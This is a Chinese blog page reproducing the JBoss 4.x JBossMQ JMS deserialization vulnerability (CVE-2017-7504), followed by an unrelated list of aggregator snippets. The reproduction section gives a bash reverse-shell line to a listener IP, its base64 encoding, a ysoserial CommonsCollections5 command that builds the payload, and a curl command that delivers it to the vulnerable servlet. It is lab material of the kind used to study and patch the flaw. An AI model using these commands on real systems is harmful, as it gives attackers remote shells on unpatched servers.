wutiangui
wutiangui

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本
Jboss AS 4.x及之前版本
二、搭建环境
JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)_第1张图片JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)_第2张图片

三、漏洞验证
访问/jbossmq-httpil/HTTPServerILServlet，出现以下页面代表存在漏洞
在这里插入图片描述

四、漏洞复现
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。
JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)_第3张图片

然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @exp.ser
在这里插入图片描述JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)_第4张图片

你可能感兴趣的:(web安全)

  • 【安全建设 | 从0到1】企业安全体系建设线路 秋说 网络安全
    文章目录一、安全体系建设v1.0——快速治理1.1安全风险初现1.2配置合适的安全负责人1.3识别主要风险点1.4快速风险削减策略Web安全治理（按优先级）业务风控治理移动安全治理员工行为安全治理口令安全治理钓鱼与社工防御合规治理二、安全体系建设v2.0——系统化建设2.1基于ISMS建设信息安全管理体系2.2基于BSIMM构建安全开发工程能力BSIMM简介常见问题应对2.3构建可复用的技术安全架
  • 如何在FastAPI中打造坚不可摧的Web安全防线？
    url:/posts/9d6200ae7ce0a1a1a523591e3d65a82e/title:如何在FastAPI中打造坚不可摧的Web安全防线？date:2025-06-28T08:37:03+08:00lastmod:2025-06-28T08:37:03+08:00author:cmdragonsummary:Web安全三要素包括机密性、完整性和可用性。机密性通过加密算法保护数据传输和
  • 深入理解CSRF攻击与防护机制 布兰妮甜 javascriptcsrf防护机制前端
    Hi，我是布兰妮甜！在当今高度互联的Web应用环境中，安全威胁无处不在。CSRF（跨站请求伪造）作为一种常见的Web安全漏洞，长期位居OWASPTop10安全威胁榜单。这种攻击方式利用了网站对用户浏览器的信任，可能导致用户在不知情的情况下执行非预期的操作，如资金转账、密码更改等。本文将深入剖析CSRF攻击原理，详细介绍多种有效的防护机制，并提供实用的JavaScript代码示例，帮助开发者构建更加
  • 构建一个AI驱动的SQL注入测试系统
    一、引言在当今这个高度数字化的时代，数据已成为组织最宝贵的资产之一。无论是互联网平台、电商系统，还是企业内部信息化系统，其背后都离不开数据库支撑。数据库的安全性，直接关乎企业的数据完整性、隐私合规性乃至品牌信誉。而SQL注入（SQLInjection）作为最经典、最普遍的Web安全漏洞之一，至今仍是黑客攻击的主力武器之一。尽管业界已提出各种手段来预防SQL注入，如参数化查询、ORM封装、Web应用
  • React 19 的 useActionState 如何防御 CSRF 攻击 前端布洛芬 大白话前端八股react.jscsrf前端
    大白话React19的useActionState如何防御CSRF攻击在前端开发的“修罗场”里，每一个前端工程师都在与需求变更、性能优化、兼容性问题“斗智斗勇”，而安全问题更是悬在头顶的“达摩克利斯之剑”。尤其是CSRF（跨站请求伪造）攻击，作为Web安全领域的“常客”，让不少开发者头疼不已。好在React19带来了useActionState这个“秘密武器”，今天就带大家一探究竟，看看它是如何筑
  • 网络安全项目实战：Python在网络安全中的应用 kleo3270
    本文还有配套的精品资源，点击获取简介：网络安全项目工程是一个用Python编写的程序，重点在于实现特定的安全功能或进行网络安全性分析。本项目详细解析了如何使用Python执行特定命令以实现网络安全性，涵盖了网络编程、加密、数据分析、Web安全、认证授权、异常检测等技术。同时，还涉及到网络扫描、渗透测试以及入侵检测系统，使用Python库进行各种网络安全操作。1.Python在网络安全中的应用概述网
  • 华为内部的Web安全原则笔记
    Web安全原则1.认证模块必须采用防暴力破解机制，例如：验证码或者多次连续尝试登录失败后锁定帐号或IP。说明：如采用多次连续尝试登录失败后锁定帐号或IP的方式，需支持连续登录失败锁定策略的“允许连续失败的次数”可配置，支持在锁定时间超时后自动解锁。2.对于每一个需要授权访问的页面或servlet的请求都必须核实用户的会话标识是否合法、用户是否被授权执行这个操作，以防止URL越权。说明：防止用户通过
  • WEB安全--CSRF&SSRF Neur0toxin 内网渗透web安全csrfssrf
    一、CSRF1.1、原理跨站点请求伪造---攻击者诱导用户在已认证的web应用中执行非法操作，通过构造虚假的网页并在该网页中植入危险脚本，受害者在不知情的情况下进入该网页，网页就会盗用受害者浏览器中的session或cookie执行危险命令，可以你的名义发送邮件，发消息，盗用你的账号，甚至于购买商品，虚拟货币转账等。1.2、防御手段1、验证HTTPReferer字段（可绕过）2、请求地址中添加to
  • Web安全性测试--超详细用例CASE整理总结 寻觅神话06 专项测试web安全安全安全性测试漏扫
    一、漏洞扫描1.1等保要求要求：等保2.0《GB/736627-2018信息安全技术网络安全等级保护测试评估技术指南》中5.2.3漏洞扫描章节基本要求入侵防御章节1.2要求内容漏洞扫描的主要功能是针对主机和开放端口识别已知漏洞、提供建议降低漏洞风险;同时,有助于识别过时的软件版本、缺失的补丁和错误配置,并验证其与机构安全策略的一致性。进行漏洞扫描时,可考虑以下评估要素和评估原则:a)识别漏洞相关信
  • 【漏洞挖掘】——75、任意文件读取攻防原理 FLy_鹏程万里 【WEB渗透】android渗透测试‘信息安全网络安全Web渗透
    漏洞简介在web安全中任意文件读取漏洞是非常常见的一种漏洞，属于文件操作类漏洞，一般常见于PHP/java/python语言中，任意文件读取漏洞，顾名思义就是可以任意读取服务器上部分或者全部文件的漏洞，攻击者利用此漏洞可以读取服务器敏感文件如/etc/passwd，/etc/sadow，web.config等，漏洞一般存在于文件下载参数，文件包含参数，主要是由于程序对传入的文件名或者文件路径没有经
  • [ deepseek 指令篇章 ]300个领域和赛道喂饭级deepseek指令 寒蝉听雨[原ID_PowerShell] AI工具箱deepseek提示词deepseek指令deepseek入门教学deepseek指令集deepseek高阶使用
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！很多小伙伴在问有没有deepseek常用的提示词指令，这里整理了三百个领域的提示词强烈建议收藏，有你们的领域和赛道吗？可在
  • 现代Web安全实践：基于Token与Refresh Token的单点登录(SSO)实现 数据库数据挖掘运维
    在数字化转型加速的今天，单点登录(SSO)已成为企业身份管理的核心基础设施。袋鼠云UED团队在过去几年中，为金融、政务、医疗等领域的大型系统构建SSO解决方案。本文将分享基于Token的标准SSO实现，同时解密UED团队对于单点登录的安全实践方式。单点登录核心原理1、SSO的基本工作流程2、双Token机制的优势AccessToken：短期有效(通常1-2小时)，减少泄露风险RefreshToke
  • 深入解析XXE漏洞利用：Base64编码的PHP过滤器+回调回传攻击 Bruce_xiaowei 笔记总结经验php开发语言网络安全CTFXXE
    深入解析XXE漏洞利用：Base64编码的PHP过滤器+回调回传攻击在网络安全和CTF实战中，XXE（XMLExternalEntity）漏洞因其独特的攻击方式和广泛的应用环境，成为Web安全学习的重要一环。今天，我们以一个高级且实用的XXE利用Payload为例，详细拆解其构造和原理，帮助你快速理解XXE远程文件读取的攻防关键。一、什么是XXE漏洞？XXE（XML外部实体注入）是指在XML解析过
  • Bugku-CTF-Web安全最佳刷题路线
    曾经的我也是CTF六项全能，Web安全，密码学，杂项，Pwn，逆向，安卓样样都会。明明感觉这样很酷，却为何还是沦为社畜。Bugku-CTF-Web安全最佳刷题路线，我已经整理好了，干就完了。尽管我们都是学了就忘，但是那又怎样，至少我们曾经会过：ailx10网络安全优秀回答者互联网行业安全攻防员去知乎咨询：ailx10难度系数1：刷题路线ailx10：Bugku-CTF-滑稽（查看源代码）ailx1
  • Web安全深度解析：源码泄漏与未授权访问漏洞全指南 Bruce_xiaowei 笔记总结经验web安全安全
    Web安全深度解析：源码泄漏与未授权访问漏洞全指南引言：不可忽视的Web安全"暗礁"在Web应用安全领域，源码泄漏和未授权访问漏洞如同海面下的暗礁，看似不起眼却足以让整艘"企业安全之船"触礁沉没。本文将从攻击者视角深度剖析这些高危漏洞的形成机制、利用手法，并提供企业级防护方案，帮助开发者和安全工程师构建更坚固的防御体系。一、源码泄漏漏洞：企业数字资产的"后门"1.1版本控制系统的"致命疏忽"1.1
  • 关于Web安全：8. Web 攻击流量分析与自动化 shenyan~ web安全自动化网络
    一、BurpSuite基础与高级使用BurpSuite是一款中间人攻击代理工具，核心作用是在客户端（浏览器）与服务器之间“插一脚”，拦截一切HTTP/HTTPS流量，从而修改、重放、注入或自动化分析。它不仅是抓包工具，还是渗透测试平台，适合用来：做权限绕过做Web风险点利用做脚本注入调试做自动化攻击编排1.1BurpSuite基础模块详解1）Proxy（代理模块）——抓包与拦截的起点功能：拦截浏览
  • Web安全：XSS、CSRF等常见漏洞及防御措施 一小条咸鱼 前端
    Web安全：XSS、CSRF等常见漏洞及防御措施一、XSS（跨站脚本攻击）定义与原理XSS攻击指攻击者将恶意脚本（如JavaScript、HTML标签）注入到Web页面中，当用户访问该页面时，脚本在浏览器端执行，从而窃取用户信息、劫持会话或篡改页面内容。根据注入方式和持久性分为：存储型XSS：恶意脚本存储在服务器数据库（如评论、留言板），持久存在，每次用户访问时触发。反射型XSS：通过URL参数（
  • DEFCON 29 Pwn 题目《3FACTOOORX》深度分析与利用详解 Alfadi联盟 萧瑶 网络安全网络安全
    1.题目概览（ChallengeOverview）挑战名称3FACTOOORX所属比赛DEFCON29CTFQuals(2021)分类Web/BrowserExtension/JavaScriptSecurity目标简介与技术亮点3FACTOOORX是一个结合了Web安全、浏览器扩展安全和JavaScript混淆技术的高级挑战。题目要求参赛者分析一个Chrome浏览器扩展，逆向其中的混淆JavaS
  • 2024山东省职业院校技能大赛题库3 oo1yn 网络攻击模型计算机网络
    第十七届山东省职业院校技能大赛中职组“网络安全”赛项资源三一、竞赛阶段竞赛阶段任务阶段竞赛任务竞赛时间分值A模块A-1登录安全加固180分钟200分A-2Nginx安全策略A-3日志监控A-4中间件服务加固A-5本地安全策略A-6防火墙策略B模块B-1漏洞扫描与利用400分B-2Linux操作系统渗透测试B-3网络安全事件应急响应B-4网页绕过B-5Python后面模块利用B-6Web安全应用3B
  • [ AI工具库 ] 宝藏级 AI 工具合集 寒蝉听雨[原ID_PowerShell] AI工具箱AI工具集合宝藏级AI工集好用的AI工具集合
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！[AI工具库]宝藏级AI工具合集文档下载地址：https://pan.baidu.com/s/1xjHN_89d2X1sx
  • WEB安全--SQL注入--bypass技巧2 Neur0toxin web安全sql
    继之前文章的补充：WEB安全--SQL注入--bypass技巧_sql注入过滤空格-CSDN博客Q1：发现sql注入的时间盲注时，如果时间盲注的函数都被过滤了，怎么办？除了找其他函数替换、编码等方式，还有以下方式绕过：1、尝试其他注入手段是否有效果，比如报错注入、DNSLog外带等；2、将被过滤的函数以拼接的方式呈现（如果正则验证不严格可能绕过）：SELECT/*!50000sleep*/(5);
  • [ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)（4-7）逻辑漏洞相关面试题 寒蝉听雨[原ID_PowerShell] 渗透测试面试分享网安面试详解面试总结渗透测试升职加薪网络安全逻辑漏洞面试题网络安全面试题
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！渗透方向的岗位，涉及到的知识点是很广泛的。这里我总结了整个一系列的面试题，可能没有覆盖到全部的知识面，但是应该是比较全面的
  • 文件上传漏洞—服务端检测&绕过方法总结（持续更新) the zl Web安全—漏洞学习web安全安全前端
    Web安全—文件上传漏洞文件上传漏洞简介和原理可参考Web安全—文件上传漏洞此篇文章，本文仅对服务端检测方法和绕过方法进行总结服务端检测方法&绕过方法：检测方法一：前端JS检测（通常为检测文件扩展名）绕过方法：1，禁止Web浏览器加载JS代码2，修改前端代码，添加需要上传的脚本语言扩展名3，Burpsuite抓包修改filename参数检测方法二：服务端MIME类型检测（检测POST内容的Cont
  • WEB安全--SQL注入--MSSQL注入 Neur0toxin SQL注入web安全sqlsqlserver
    一、SQLsever知识点了解1.1、系统变量版本号：@@version用户名：USER、SYSTEM_USER库名：DB_NAME()SELECTnameFROMmaster..sysdatabases表名：SELECTnameFROMsysobjectsWHERExtype='U'字段名：SELECTnameFROMsyscolumnsWHEREid=OBJECT_ID('table')1.2
  • WEB安全--RCE--webshell HIDS bypass4 Neur0toxin rceweb安全安全
    继WEB安全--RCE--webshellHIDSbypass3的补充：十三、时间开关webshell：getParameters()as$param){$da=newDateTime();echo$da->getTimestamp();echo'Name:'.$param->getName().PHP_EOL;$n='F';if($param->isOptional()){if($da->get
  • 三、web安全-信息收集 midsummer_woo web安全web安全安全
    1、信息搜集的重要性（1）明确攻击面信息搜集能让渗透测试人员清晰地勾勒出目标系统的边界，包括其网络拓扑结构、开放的服务端口、运行的软件系统等。例如，通过信息搜集发现目标企业除了对外提供官网服务外，还有一个内部员工使用的办公系统暴露在公网，这就大大扩展了攻击面，为测试人员提供了更多的潜在攻击点。（2）发现潜在漏洞线索搜集到的信息中可能隐藏着目标系统存在的漏洞线索。比如，通过查看目标网站使用的软件版本
  • Python爬虫实战教程：自动抓取CTF比赛题目存档全流程详解 Python爬虫项目 python爬虫开发语言github
    1.CTF比赛简介及数据来源分析1.1什么是CTF比赛CTF（CaptureTheFlag）是信息安全领域的攻防竞赛，参赛队伍需解决一系列安全相关题目（称为“题目”），题目涉及逆向、漏洞利用、密码学、web安全等。1.2CTF题目存档的价值学习安全技术、积累攻防经验准备面试与实战技能提升搭建自己的CTF题库和知识库1.3典型CTF题目存档平台CTFTime—汇总比赛信息各大CTF比赛官网，如Pwn
  • 探索web安全的奥秘：深入解析npm静态服务器漏洞与防御工具 夏庭彭Maxine
    探索web安全的奥秘：深入解析npm静态服务器漏洞与防御工具去发现同类优质开源项目:https://gitcode.com/在数字化时代，网络安全是每一行代码背后不可或缺的守护者。今天，我们要向大家推荐一个充满洞见和实用工具的开源宝藏——bl4de的研究仓库。这个项目不仅揭露了npm静态内容服务器中最为常见的安全漏洞，还提供了宝贵的见解和工具，帮助开发者识别并防范潜在威胁，确保网络应用的安全之门坚
  • web安全day44：进阶，使用Nmap+Wireshark理解端口扫描 信封同学 web安全web安全wiresharknmap渗透测试扫描
    目录端口扫描SYN半连接扫描TCP全连接扫描隐蔽扫描Null扫描Xmas扫描FIN扫描本文使用Nmap和Wireshark进行网络端口扫描的实验和原理探究。端口扫描端口扫描是人为发送一组端口扫描消息，试图以此了解某台计算机的弱点，并了解器提供的计算机网络服务类型（这些网络服务均与端口号相关）。nmap支持端口扫描，所有的扫描选项都是以-s形式出现的。我们的基础网络拓扑为kali：192.168.1
  • Python CSRF（跨站请求伪造）防御机制 代码编译成功，但我不开心Qa pythoncsrf数据库
    ```htmlPythonCSRF（跨站请求伪造）防御机制PythonCSRF（跨站请求伪造）防御机制CSRF（Cross-SiteRequestForgery，跨站请求伪造）是一种常见的Web安全漏洞，攻击者通过诱导用户在已登录的网站上执行非预期的操作，从而窃取敏感信息或篡改数据。Python作为流行的后端开发语言，提供了多种框架来帮助开发者有效防御CSRF攻击。什么是CSRF？CSRF攻击的核
  • ios内付费 374016526 ios内付费
    近年来写了很多IOS的程序，内付费也用到不少，使用IOS的内付费实现起来比较麻烦，这里我写了一个简单的内付费包，希望对大家有帮助。   具体使用如下: 这里的sender其实就是调用者，这里主要是为了回调使用。 [KuroStoreApi kuroStoreProductId:@"产品ID" storeSender:self storeFinishCallBa
  • 20 款优秀的 Linux 终端仿真器 brotherlamp linuxlinux视频linux资料linux自学linux教程
      终端仿真器是一款用其它显示架构重现可视终端的计算机程序。换句话说就是终端仿真器能使哑终端看似像一台连接上了服务器的客户机。终端仿真器允许最终用户用文本用户界面和命令行来访问控制台和应用程序。（LCTT 译注：终端仿真器原意指对大型机-哑终端方式的模拟，不过在当今的 Linux 环境中，常指通过远程或本地方式连接的伪终端，俗称“终端”。） 你能从开源世界中找到大量的终端仿真器，它们
  • Solr Deep Paging(solr 深分页) eksliang solr深分页solr分页性能问题
    转载请出自出处：http://eksliang.iteye.com/blog/2148370 作者：eksliang(ickes) blg:http://eksliang.iteye.com/ 概述 长期以来，我们一直有一个深分页问题。如果直接跳到很靠后的页数，查询速度会比较慢。这是因为Solr的需要为查询从开始遍历所有数据。直到Solr的4.7这个问题一直没有一个很好的解决方案。直到solr
  • 数据库面试题 18289753290 面试题 数据库
    1.union ,union all 网络搜索出的最佳答案： union和union all的区别是,union会自动压缩多个结果集合中的重复结果，而union all则将所有的结果全部显示出来，不管是不是重复。 Union：对两个结果集进行并集操作，不包括重复行，同时进行默认规则的排序； Union All：对两个结果集进行并集操作，包括重复行，不进行排序； 2.索引有哪些分类？作用是
  • Android TV屏幕适配 酷的飞上天空 android
    先说下现在市面上TV分辨率的大概情况 两种分辨率为主 1.720标清，分辨率为1280x720. 屏幕尺寸以32寸为主，部分电视为42寸 2.1080p全高清，分辨率为1920x1080 屏幕尺寸以42寸为主，此分辨率电视屏幕从32寸到50寸都有   适配遇到问题，已1080p尺寸为例： 分辨率固定不变，屏幕尺寸变化较大。 如：效果图尺寸为1920x1080，如果使用d
  • Timer定时器与ActionListener联合应用 永夜-极光 java
    功能:在控制台每秒输出一次   代码: package Main; import javax.swing.Timer; import java.awt.event.*; public class T { private static int count = 0; public static void main(String[] args){
  • Ubuntu14.04系统Tab键不能自动补全问题解决 随便小屋 Ubuntu 14.04
    Unbuntu 14.4安装之后就在终端中使用Tab键不能自动补全，解决办法如下：   1、利用vi编辑器打开/etc/bash.bashrc文件（需要root权限） sudo vi /etc/bash.bashrc  接下来会提示输入密码 2、找到文件中的下列代码 #enable bash completion in interactive shells #if
  • 学会人际关系三招 轻松走职场 aijuans 职场
    要想成功，仅有专业能力是不够的，处理好与老板、同事及下属的人际关系也是门大学问。如何才能在职场如鱼得水、游刃有余呢？在此，教您简单实用的三个窍门。 　　第一，多汇报 最近，管理学又提出了一个新名词“追随力”。它告诉我们，做下属最关键的就是要多请示汇报，让上司随时了解你的工作进度，有了新想法也要及时建议。不知不觉，你就有了“追随力”，上司会越来越了解和信任你。 　　第二，勤沟通 团队的力
  • 《O2O：移动互联网时代的商业革命》读书笔记 aoyouzi 读书笔记
    移动互联网的未来：碎片化内容+碎片化渠道=各式精准、互动的新型社会化营销。   O2O：Online to OffLine 线上线下活动 O2O就是在移动互联网时代，生活消费领域通过线上和线下互动的一种新型商业模式。   手机二维码本质：O2O商务行为从线下现实世界到线上虚拟世界的入口。   线上虚拟世界创造的本意是打破信息鸿沟，让不同地域、不同需求的人
  • js实现图片随鼠标滚动的效果 百合不是茶 JavaScript滚动属性的获取图片滚动属性获取页面加载
    1,获取样式属性值 top 与顶部的距离 left 与左边的距离 right 与右边的距离 bottom 与下边的距离 zIndex 层叠层次     例子:获取左边的宽度,当css写在body标签中时 <div id="adver" style="position:absolute;top:50px;left:1000p
  • ajax同步异步参数async bijian1013 jqueryAjaxasync
            开发项目开发过程中，需要将ajax的返回值赋到全局变量中，然后在该页面其他地方引用，因为ajax异步的原因一直无法成功，需将async:false，使其变成同步的。         格式： $.ajax({ type: 'POST', ur
  • Webx3框架（1） Bill_chen eclipsespringmaven框架ibatis
    Webx是淘宝开发的一套Web开发框架，Webx3是其第三个升级版本；采用Eclipse的开发环境，现在支持java开发； 采用turbine原型的MVC框架，扩展了Spring容器，利用Maven进行项目的构建管理，灵活的ibatis持久层支持，总的来说，还是一套很不错的Web框架。 Webx3遵循turbine风格，velocity的模板被分为layout/screen/control三部
  • 【MongoDB学习笔记五】MongoDB概述 bit1129 mongodb
    MongoDB是面向文档的NoSQL数据库，尽量业界还对MongoDB存在一些质疑的声音，比如性能尤其是查询性能、数据一致性的支持没有想象的那么好，但是MongoDB用户群确实已经够多。MongoDB的亮点不在于它的性能，而是它处理非结构化数据的能力以及内置对分布式的支持(复制、分片达到的高可用、高可伸缩)，同时它提供的近似于SQL的查询能力，也是在做NoSQL技术选型时，考虑的一个重要因素。Mo
  • spring/hibernate/struts2常见异常总结 白糖_ Hibernate
    Spring ①ClassNotFoundException: org.aspectj.weaver.reflect.ReflectionWorld$ReflectionWorldException 缺少aspectjweaver.jar，该jar包常用于spring aop中   ②java.lang.ClassNotFoundException: org.sprin
  • jquery easyui表单重置(reset)扩展思路 bozch formjquery easyuireset
    在jquery easyui表单中 尚未提供表单重置的功能，这就需要自己对其进行扩展。 扩展的时候要考虑的控件有： combo,combobox,combogrid,combotree,datebox,datetimebox 需要对其添加reset方法，reset方法就是把初始化的值赋值给当前的组件，这就需要在组件的初始化时将值保存下来。 在所有的reset方法添加完毕之后，就需要对fo
  • 编程之美-烙饼排序 bylijinnan 编程之美
    package beautyOfCoding; import java.util.Arrays; /* *《编程之美》的思路是：搜索+剪枝。有点像是写下棋程序：当前情况下，把所有可能的下一步都做一遍；在这每一遍操作里面，计算出如果按这一步走的话，能不能赢（得出最优结果）。 *《编程之美》上代码有很多错误，且每个变量的含义令人费解。因此我按我的理解写了以下代码： */
  • Struts1.X 源码分析之ActionForm赋值原理 chenbowen00 struts
    struts1在处理请求参数之前，首先会根据配置文件action节点的name属性创建对应的ActionForm。如果配置了name属性，却找不到对应的ActionForm类也不会报错，只是不会处理本次请求的请求参数。 如果找到了对应的ActionForm类，则先判断是否已经存在ActionForm的实例，如果不存在则创建实例，并将其存放在对应的作用域中。作用域由配置文件action节点的s
  • [空天防御与经济]在获得充足的外部资源之前,太空投资需有限度 comsci 资源
          这里有一个常识性的问题:       地球的资源,人类的资金是有限的,而太空是无限的.....       就算全人类联合起来,要在太空中修建大型空间站,也不一定能够成功,因为资源和资金,技术有客观的限制.... &
  • ORACLE临时表—ON COMMIT PRESERVE ROWS daizj oracle临时表
    ORACLE临时表 转 临时表：像普通表一样，有结构，但是对数据的管理上不一样，临时表存储事务或会话的中间结果集，临时表中保存的数据只对当前 会话可见，所有会话都看不到其他会话的数据，即使其他会话提交了，也看不到。临时表不存在并发行为，因为他们对于当前会话都是独立的。 创建临时表时，ORACLE只创建了表的结构（在数据字典中定义），并没有初始化内存空间，当某一会话使用临时表时，ORALCE会
  • 基于Nginx XSendfile+SpringMVC进行文件下载 denger 应用服务器Webnginx网络应用lighttpd
        在平常我们实现文件下载通常是通过普通 read-write方式，如下代码所示。 @RequestMapping("/courseware/{id}") public void download(@PathVariable("id") String courseID, HttpServletResp
  • scanf接受char类型的字符 dcj3sjt126com c
    /* 2013年3月11日22:35:54 目的：学习char只接受一个字符 */ # include <stdio.h> int main(void) { int i; char ch; scanf("%d", &i); printf("i = %d\n", i); scanf("%
  • 学编程的价值 dcj3sjt126com 编程
    发一个人会编程, 想想以后可以教儿女, 是多么美好的事啊, 不管儿女将来从事什么样的职业, 教一教, 对他思维的开拓大有帮助   像这位朋友学习:   http://blog.sina.com.cn/s/articlelist_2584320772_0_1.html   VirtualGS教程 (By @林泰前): 几十年的老程序员，资深的
  • 二维数组（矩阵）对角线输出 飞天奔月 二维数组
    今天在BBS里面看到这样的面试题目,   1，二维数组（N*N），沿对角线方向，从右上角打印到左下角如N=4： 4*4二维数组  { 1 2 3 4 } { 5 6 7 8 } { 9 10 11 12 } {13 14 15 16 } 打印顺序  4 3 8 2 7 12 1 6 11 16 5 10 15 9 14 13 要
  • Ehcache（08）——可阻塞的Cache——BlockingCache 234390216 并发ehcacheBlockingCache阻塞
    可阻塞的Cache—BlockingCache          在上一节我们提到了显示使用Ehcache锁的问题，其实我们还可以隐式的来使用Ehcache的锁，那就是通过BlockingCache。BlockingCache是Ehcache的一个封装类，可以让我们对Ehcache进行并发操作。其内部的锁机制是使用的net.
  • mysqldiff对数据库间进行差异比较 jackyrong mysqld
      mysqldiff该工具是官方mysql-utilities工具集的一个脚本，可以用来对比不同数据库之间的表结构，或者同个数据库间的表结构    如果在windows下，直接下载mysql-utilities安装就可以了，然后运行后，会跑到命令行下： 1） 基本用法    mysqldiff --server1=admin:12345
  • spring data jpa 方法中可用的关键字 lawrence.li javaspring
    spring data jpa 支持以方法名进行查询/删除/统计。 查询的关键字为find 删除的关键字为delete/remove (>=1.7.x) 统计的关键字为count (>=1.7.x)   修改需要使用@Modifying注解 @Modifying @Query("update User u set u.firstna
  • Spring的ModelAndView类 nicegege spring
    项目中controller的方法跳转的到ModelAndView类，一直很好奇spring怎么实现的？ /* * Copyright 2002-2010 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * yo
  • 搭建 CentOS 6 服务器(13) - rsync、Amanda rensanning centos
    （一）rsync Server端 # yum install rsync # vi /etc/xinetd.d/rsync service rsync { disable = no flags = IPv6 socket_type = stream wait
  • Learn Nodejs 02 toknowme nodejs
    （1）npm是什么 npm is the package manager for node 官方网站：https://www.npmjs.com/ npm上有很多优秀的nodejs包，来解决常见的一些问题，比如用node-mysql，就可以方便通过nodejs链接到mysql，进行数据库的操作 在开发过程往往会需要用到其他的包，使用npm就可以下载这些包来供程序调用 &nb
  • Spring MVC 拦截器 xp9802 spring mvc
    Controller层的拦截器继承于HandlerInterceptorAdapter HandlerInterceptorAdapter.java  1  public   abstract   class  HandlerInterceptorAdapter  implements  HandlerIntercep
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他